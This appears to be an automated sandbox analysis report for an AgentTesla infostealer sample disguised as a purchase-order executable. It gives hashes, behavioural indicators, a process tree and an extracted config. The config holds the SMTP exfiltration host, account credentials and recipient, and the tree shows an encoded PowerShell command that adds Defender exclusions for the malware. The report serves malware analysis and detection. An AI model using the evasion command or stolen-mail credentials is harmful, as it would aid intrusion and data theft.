Analysis
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max time kernel
149s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
13-01-2025 13:28
Static task
static1
Behavioral task
behavioral1
Sample
new order 4504333579.exe
Resource
win7-20240903-en
General
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Target
new order 4504333579.exe
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Size
67KB
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MD5
36ae28620e7244b3a156dba6ff89a8f0
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SHA1
bb31a9865a529075e7ec0addfa96e5f71e2049a0
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SHA256
27176b90fbe01af0c55c519bf0132245b8102cee3eed98d2ff8bc259e0313142
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SHA512
6c6abb7bc0db8ff6b9011b2c1e508fd55c03784c16ba5cc929738f39833ff506d9fc6b56f7f13199d017dc04d9c164275304e1b3910c70dbf95caf3b2ecf8f46
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SSDEEP
1536:nv7a6wXjugRKE5xgVxTJAXoEROZPmAo2+P9KqWITSdn:voTBME58xTCXjROZPmA/WKjI6n
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
mail.iaa-airferight.com - Port:
587 - Username:
[email protected] - Password:
manlikeyou88 - Email To:
[email protected]
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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Agenttesla family
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 560 created 3444 560 new order 4504333579.exe 56 -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation new order 4504333579.exe -
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs new order 4504333579.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 560 set thread context of 5016 560 new order 4504333579.exe 105 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ipconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language InstallUtil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ipconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language new order 4504333579.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 2024 ipconfig.exe 2232 ipconfig.exe -
Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 1500 powershell.exe 1500 powershell.exe 560 new order 4504333579.exe 560 new order 4504333579.exe 560 new order 4504333579.exe 5016 InstallUtil.exe 5016 InstallUtil.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 560 new order 4504333579.exe Token: SeDebugPrivilege 1500 powershell.exe Token: SeDebugPrivilege 560 new order 4504333579.exe Token: SeDebugPrivilege 5016 InstallUtil.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 560 wrote to memory of 3596 560 new order 4504333579.exe 90 PID 560 wrote to memory of 3596 560 new order 4504333579.exe 90 PID 560 wrote to memory of 3596 560 new order 4504333579.exe 90 PID 3596 wrote to memory of 2024 3596 cmd.exe 92 PID 3596 wrote to memory of 2024 3596 cmd.exe 92 PID 3596 wrote to memory of 2024 3596 cmd.exe 92 PID 560 wrote to memory of 1500 560 new order 4504333579.exe 103 PID 560 wrote to memory of 1500 560 new order 4504333579.exe 103 PID 560 wrote to memory of 1500 560 new order 4504333579.exe 103 PID 560 wrote to memory of 5016 560 new order 4504333579.exe 105 PID 560 wrote to memory of 5016 560 new order 4504333579.exe 105 PID 560 wrote to memory of 5016 560 new order 4504333579.exe 105 PID 560 wrote to memory of 5016 560 new order 4504333579.exe 105 PID 560 wrote to memory of 5016 560 new order 4504333579.exe 105 PID 560 wrote to memory of 5016 560 new order 4504333579.exe 105 PID 560 wrote to memory of 5016 560 new order 4504333579.exe 105 PID 560 wrote to memory of 5016 560 new order 4504333579.exe 105 PID 560 wrote to memory of 4812 560 new order 4504333579.exe 106 PID 560 wrote to memory of 4812 560 new order 4504333579.exe 106 PID 560 wrote to memory of 4812 560 new order 4504333579.exe 106 PID 4812 wrote to memory of 2232 4812 cmd.exe 108 PID 4812 wrote to memory of 2232 4812 cmd.exe 108 PID 4812 wrote to memory of 2232 4812 cmd.exe 108
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3444
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C:\Users\Admin\AppData\Local\Temp\new order 4504333579.exe"C:\Users\Admin\AppData\Local\Temp\new order 4504333579.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Drops startup file
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:560 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ipconfig /release3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3596 -
C:\Windows\SysWOW64\ipconfig.exeipconfig /release4⤵
- System Location Discovery: System Language Discovery
- Gathers network information
PID:2024
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAbgBlAHcAIABvAHIAZABlAHIAIAA0ADUAMAA0ADMAMwAzADUANwA5AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAG4AZQB3ACAAbwByAGQAZQByACAANAA1ADAANAAzADMAMwA1ADcAOQAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABkAGYALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABkAGYALgBlAHgAZQA=3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1500
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ipconfig /renew3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4812 -
C:\Windows\SysWOW64\ipconfig.exeipconfig /renew4⤵
- System Location Discovery: System Language Discovery
- Gathers network information
PID:2232
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5016
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82